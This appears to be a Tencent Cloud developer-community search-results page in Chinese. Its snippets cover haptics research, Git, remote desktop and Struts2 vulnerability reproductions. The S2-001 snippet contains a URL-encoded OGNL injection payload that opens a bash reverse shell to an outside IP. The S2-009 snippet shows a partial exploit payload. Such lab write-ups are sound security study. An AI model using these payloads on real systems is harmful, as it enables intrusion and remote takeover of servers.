- 综合排序
- 最热优先
- 最新优先
- 来自专栏腾讯高校合作
Wiztalk | 魏磊 Part 2 《触觉学科的现状与未来—触觉的分类》
触觉学科的现状与未来 Part 2 触觉的分类 简介：触觉作为人体最先最早发展的一种感知，它的两个分类：动觉和压觉又有着什么样的区分呢？ 本期徐磊研究员将继续从人体生理的角度向我们介绍人体的两个触觉的分类：动觉和压觉。 内容难度：★★☆（计算机专业或有一定计算机知识储备的大学生） ?
72630发布于 2021-05-07 - 来自专栏腾讯高校合作
Wiztalk | 魏磊 Part 3 《触觉学科的现状与未来—触觉与数字世界》
触觉学科的现状与未来 Part 3 触觉与数字世界 简介：触觉的内容相信大家已经有所了解，但如何像视觉一样，如视频电话一般应用于数字世界中呢？ 本期徐磊研究员将类比视觉在数字世界的呈现，为我们讲述触觉呈现于数字世界的难度。 内容难度：★★☆（计算机专业或有一定计算机知识储备的大学生） ?
59060发布于 2021-02-02 - 来自专栏AI科技大本营的专栏
Meta 研发触觉手套助力元宇宙，虚拟世界也可以有触觉
然而，七年来，它一直在致力于开发人机交互的新次元——一种触觉手套，可以再现抓握物体或用手在表面上滑动等感觉。 在简化的层面上，Meta 的触觉原型是一个手套，内衬大约 15 个脊状充气塑料垫，被称为执行器，被布置成贴合佩戴者的手掌、手指的下侧和指尖。 许多公司已经致力于开发可追踪用户手部或提供触觉的可穿戴设备。有些甚至集成了温度感觉。 目前，研究团队正试图弄清楚 VR 触控的真实程度如何。 “触觉手套的一个有趣之处在于，它与试听内容不同，我们无法准确再现现实。”Abrash 说。视觉上最先进的屏幕可以呈现出非常真实的图像，听觉上声波可以捕捉人们说话的特征。 “在我看来，如果触觉手套奏效，你就可以抚摸一只狗，但它会是一只虚拟的狗，而且体验会略有不同，”Abrash 说。“但在情感上、体验上它会感觉很真实。”
78920编辑于 2023-04-14 - 来自专栏腾讯DevOps
Git远程库操作2
腾讯工蜂Git：基于Git的企业级协作开发解决方案，腾讯未来研发关键系统 https://code.tencent.com 上篇讲述了推送本地仓库到远程库的操作，本篇则讲解如何从远程库同步代码到本地 此处的同步分为以下几种情况： 1、克隆远程库代码 git clone + 远程库路径 如git clone git@git.code.tencent.com:XXX/XXX.git 2、 同步远端分支变化 git fetch origin <branchname> #从远程的origin仓库的<branchname>分支下载代码到本地的origin/master，并不会合并 git diff <branchname >差异 git merge <branchname> #合并<branchname>分支到当前分支 git fetch #拉取所有分支的变化 git fetch -p #拉取所有分支的变化，并且将远程库中不存在的分支同步移除
1K30发布于 2018-09-25 - 来自专栏技术杂记
可靠的远程代码执行(2)
它的定义如下： message CNETMsg_File { optional int32 transfer_id = 1; optional string file_name = 2; optional 消息通知客户端： message CMsg_CVars { message CVar { optional string name = 1; optional string value = 2;
4K100发布于 2021-07-09 - 来自专栏VRPinea
科普丨Oculus Touch“缓冲触觉”功能详解
近日，Oculus向其开发人员知识库添加了新的文档，这个文档详细介绍了Oculus SDK的“Buffered Haptics（缓冲触觉）”功能，这种功能能为Touch控制器编程更高级的触觉反馈方式。 Oculus最新的“Buffered Haptics（缓冲触觉）”功能可以让开发人员更加精确地控制触觉反馈。 ? 该SDK支持两种控制器触觉，一种是缓冲，一种是非缓冲。 Oculus SDK提供了一个触觉样本的App，并给出了通过使用缓冲触觉就可以实现一些触觉效果的实例： 1、在每个波周期结束时，平滑的正弦波振动具有“嗡嗡声逐渐减弱”的效果 2、在左右控制器上进行振动平移 但是，频率只能是320Hz，或者是320Hz的一些整商，例如320/2=160Hz, 320/3=106.7Hz, 320/4=80Hz, 320/5=64Hz等等。 下面是一些例子： 1、320Hz，全振幅[255, 255, 255, 255, …] 2、160Hz，全振幅[255, 0, 255, 0, 255, 0, 255, 0, …] 3、320Hz，半振幅
1K30发布于 2018-05-14 - 来自专栏新智元
触觉从未如此真实！两位南加州大学华人博士革新「触觉感知」算法
近几年，给设备装上「触觉」逐渐成了新的研究热点，尤其是在「元宇宙」概念的加持下，加上触感无疑能让虚拟世界的真实感大大提升。 为了模拟真实纹理，研究人员首先会要求用户使用定制工具来触摸真实纹理，然后使用触觉设备触摸一组虚拟纹理候选，其中触觉反馈通过连接到设备触控笔的Haptuator来传输。 触觉设备在视频游戏、时装设计和手术模拟中越来越受欢迎，即使在家里，我们也开始看到用户使用与笔记本电脑一样流行的那些触觉设备。 比如第一人称视频游戏加入触觉以后，会极大提升玩家的真实感。 论文作者表示，当我们通过工具与环境交互时，触觉反馈只是一种形式，一种感官反馈，音频是另一种感官反馈，两者都非常重要。 从电子游戏到时装设计，一切都在集成触觉技术，而现有的虚拟纹理数据库可以通过这种用户偏好方法得到改进。
74220编辑于 2022-05-30 - 来自专栏开发杂记
select2加载远程数据示例
核心js $("#query_pack_code").select2({ language: "zh-CN", allowClear: true, 参考资料： select2主页
2K20发布于 2019-08-09 - 来自专栏深蓝居
AMF学习2远程调用的封装
前言的前2字节用于说明AMF的版本，目前AMF有2个版本AMF0和AMF3.如使用AMF0则是：00 00 第3和第4字节用16位整数表示AMF头的数量。 说了这么多估计还是感觉比较抽象，下面给出个实例： AMF 16进制内容 00000000h: 00 00 00 00 00 01 00 1B 7A 68 2E 66 6C 65 65 74 ; ... .....zh.fleet 00000010h: 53 65 72 76 69 63 65 2E 67 65 74 46 6C 65 65 74 ; Service.getFleet 00000020h : 52 6F 77 00 03 2F 37 39 00 00 00 13 0A 00 00 00 ; Row../79........ 00000030h: 03 02 00 01 35 02 00 请求的方法的字符串长度为27个字节） 7A ……77（这27个直接就是调用的类和方法：“zh.fleetService.getFleetRow”） 00 03（请求的Target字符串长3字节） 2F
62910编辑于 2022-06-16 - 来自专栏剑指工控
AB最新2款远程IO模块
JZGKCHINA 工控技术分享平台 AB刚刚发布两款远程IO模块，一款是FLEX5000用于极端环境IO和安全IO，并替代1794FLEXIO，另外一款是可以部署在EX防爆区的1719防爆远程IO ，同时这两款远程IO模块也支持DLR环网并且速率达到1G。 5094 Filler Module 1719EX 本质安全分布式 1719 Ex I/O 解决方案可装于区域 2 或分区 2 环境，可帮助客户通过EtherNet/IP 集成危险区域（区域 0、1 Ex I/O 2 Point Digital Output 23V 1719-OB2L Ex I/O 2 Point Digital Output 16.5V 1719-IJ Ex I/O 2x8 Pole Screw Terminal 1719-TB8SX2 Ex I/O 2x8 Pole Spring Terminal 1719-TB6
1.3K30发布于 2021-11-09 - 来自专栏CVer
李飞飞第一篇「触觉」论文
但触觉反应需要毫秒级，20Hz以上才能捕捉到“正在滑”和“已经滑了”的临界点。 两种信号塞进同一个低频Transformer，视觉来不及看，触觉来不及反应。 第三层，表征太浅。 一句话总结：视觉数据对灵巧手来说，本质上是不够用的——触觉不是锦上添花，而是必选项。 谁先解决“触觉怎么加”的架构问题，谁就可能在灵巧手这个赛道上卡住位置。 怎么做到的？ 触觉信号怎么编码是另一个关键设计。 触觉传感器有零点漂移和高频噪声，直接拿原始电压值喂给模型，模型很可能把传感器噪声当成接触特征学进去。 传统大模型范式几乎以视觉数据为主，没有针对触觉模态的有效利用方案。T-Rex论文里那个17%掉到6%的实验，恰好说明了这一点——不是触觉没用，是现有多模态大模型架构消化不了触觉。 但如果触觉数据成为核心壁垒，灵巧手就不仅仅是执行器，而是整个感知-决策-执行链条中数据价值最高的一环。谁掌握触觉数据的采集能力和模型训练能力，谁就掌握了议价权。
18210编辑于 2026-07-28 - 来自专栏FreeBuf
Struts2 s2-032远程代码执行分析
介绍 Struts 2是Struts的下一代产品，是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。 其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。 Struts 2以WebWork为核心，采用拦截器的机制来处理用户的请求，这样的设计也使得业务逻辑控制器能够与 ServletAPI完全脱离开，所以Struts 2可以理解为WebWork的更新产品。 虽然从Struts 1到Struts 2有着太大的变化，但是相对于WebWork，Struts 2的变化很小。 4月15号安恒安全研究院在Struts 2上发现了一个严重的远程代码执行漏洞（CVE-2016-3081) ? 2. 漏洞分析 前提：开启动态方法调用。
81860发布于 2018-02-08 - 来自专栏iis7
2008r2管理员远程桌面配置远程连接
我们已经在Win2008 R2 VDI动手系列的上一篇文章中配置了远程桌面虚拟化主机。远程桌面会话主机，请参考下图中的拓扑。本文的任务是将RDCB配置为远程桌面连接。代理。 RDCB使用的操作系统也是Windows Server 2008 R2。在本文中，RDCB是域中的单独服务器，但是在测试过程中，RDCB，RDSH和RDVH也可以集中在一台服务器上。 远程桌面管理工具的话，iis7远程桌面管理工具还不错，iis7远程桌面连接工具，又叫做iis7远程桌面管理软件，是一款绿色小巧，功能实用的远程桌面管理工具，其界面简洁，操作便捷，能够同时远程操作多台服务器 远程桌面连接代理的配置比较简单，在RDCB上打开服务器管理器，如图1所示，选择"添加角色"。 图1 如图2所示，在角色列表中选择"远程桌面服务"。 图2 接下来在角色服务中选择"远程桌面连接代理"。 图3 确认摘要无误后，点击"安装"开始角色部署。
1.9K10发布于 2019-10-14 - 来自专栏安恒信息
Struts2 s2-032远程代码执行分析
介绍： Struts 2是Struts的下一代产品，是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。 其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。 Struts 2以WebWork为核心，采用拦截器的机制来处理用户的请求，这样的设计也使得业务逻辑控制器能够与 ServletAPI完全脱离开，所以Struts 2可以理解为WebWork的更新产品。 虽然从Struts 1到Struts 2有着太大的变化，但是相对于WebWork，Struts 2的变化很小。 4月15号安恒安全研究院在Struts 2上发现了一个严重的远程代码执行漏洞（CVE-2016-3081) ? 2. 漏洞分析 前提：开启动态方法调用。 ?
1.2K60发布于 2018-04-11 - 来自专栏机器之心
机器人与触觉传感技术的碰撞，一文初探人类与机器人的触觉传感
图 2 给出了一个在指尖、指骨和手掌上配置触觉传感器的机器人手示例[3]。 具备高空间和时间分辨率的触觉传感器为手部提供了丰富的触觉信息，进而用于辅助机器人执行复杂任务，例如，探索未知对象、工具使用和手部操作等。 ? 图 2. 机器人触觉传感系统的层次功能（左）和结构（右）框图 [2] 2.1 传感层（Sensing） 传感层是整个触觉传感系统中最底层的处理结构，根据传感过程对应的身体部位，主要划分为以下三类： 单点接触式传感器 根据传感方式，单点接触传感器可分为：1）用于测量接触力的力传感器；2）用于测量接触过程中振动的仿生晶须，也称为动态触觉传感器； 高空间分辨率触觉阵列（类似于人类的指尖）：这种类型的触觉传感器是目前触觉传感研究中采用最多的传感器 由图 2 可知，感知位于传感层之上，为控制层提供有用的、面向任务的信息。与触觉传感器的快速发展相比，对触觉传感器产生信息的理解（触觉感知）发展尚不成熟。
3.8K50发布于 2020-09-10 - 来自专栏look Java
（2）什么是服务拆分和远程调用
2 服务拆分和远程调用 任何分布式架构都离不开服务的拆分，微服务也是一样。 .导入demo工程 用IDEA导入课前资料提供的Demo： 项目结构如下： 导入后，会在IDEA右下角出现弹窗： 点击弹窗，然后按下图选择： 会出现这样的菜单： 配置下项目使用的JDK： 2.3.实现远程调用案例 @Bean public RestTemplate restTemplate() { return new RestTemplate(); } } 2.3.3.实现远程调用
38210编辑于 2023-12-07 - 来自专栏安全学习
S2-001 远程代码执行漏洞
%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23a%3D%28new%20java.lang.ProcessBuilder username=admin&password=%25%7B%28%23cmd%3D%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.146.158%2F9999% 200%3E%261%27%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin% 23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28% 23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter
65820编辑于 2022-12-22 - 来自专栏LuckySec网络安全
S2-007远程代码执行复现
0x01 漏洞简介 S2-007漏洞一般出现在表单处。 vulhub官网地址：https://vulhub.org cd vulhub/struts2/s2-007 docker-compose build docker-compose up -d 0x03 参考文章 https://soapffz.com/sec/532.html#menu_index_6 https://github.com/vulhub/vulhub/blob/master/struts2/ s2-007/README.zh-cn.md
97920编辑于 2022-11-02 - 来自专栏LuckySec网络安全
S2-009远程代码执行复现
0x01 漏洞简介 Struts2对S2-003的修复方法是禁止#号，于是s2-005通过使用编码\u0023或\43来绕过；后来Struts2对S2-005的修复方法是禁止\等特殊符号，使用户不能提交反斜线 vulhub官网地址：https://vulhub.org cd vulhub/struts2/s2-009 docker-compose build docker-compose up -d 0x03 漏洞检测 Struts2 漏洞检测工具 https://github.com/HatBoy/Struts2-Scan 使用工具检测 s2-009 漏洞 python3 Struts2Scan.py 23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2. s2-001/README.zh-cn.md
82050编辑于 2022-11-02 - 来自专栏锦小年的博客
pycharm使用笔记2-远程连接
随着科技的发展，远程办公已经是一种趋势，远程开发能力对于每一个程序员来说都是必不可少的。有时候就算在公司，在进行开发的时候有许多的数据都是储存在服务器上的，所以在服务器上开发显得省时省力。 在原理上来说，pycharm的远程功能仅仅就是提供了代码同步，配置Python解释器的时候选择服务器端的Python解释器，工作的时候pycharm先将本地代码同步到远程服务器，其次再使用远程服务器上的 这样一来就解释器就配置成功了 远程同步配置 点击 工具> deployment >configuration ? 按照下图填写： ? ? 远程配置： ? 解释器配置为远程，注意下面的path mapping 如果没有的话 进去添加 （本地和远程都要填写） 运行一下 ： ssh://gxrao@192.168.1.101:22/home/gxrao/
2.1K100发布于 2018-01-02
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号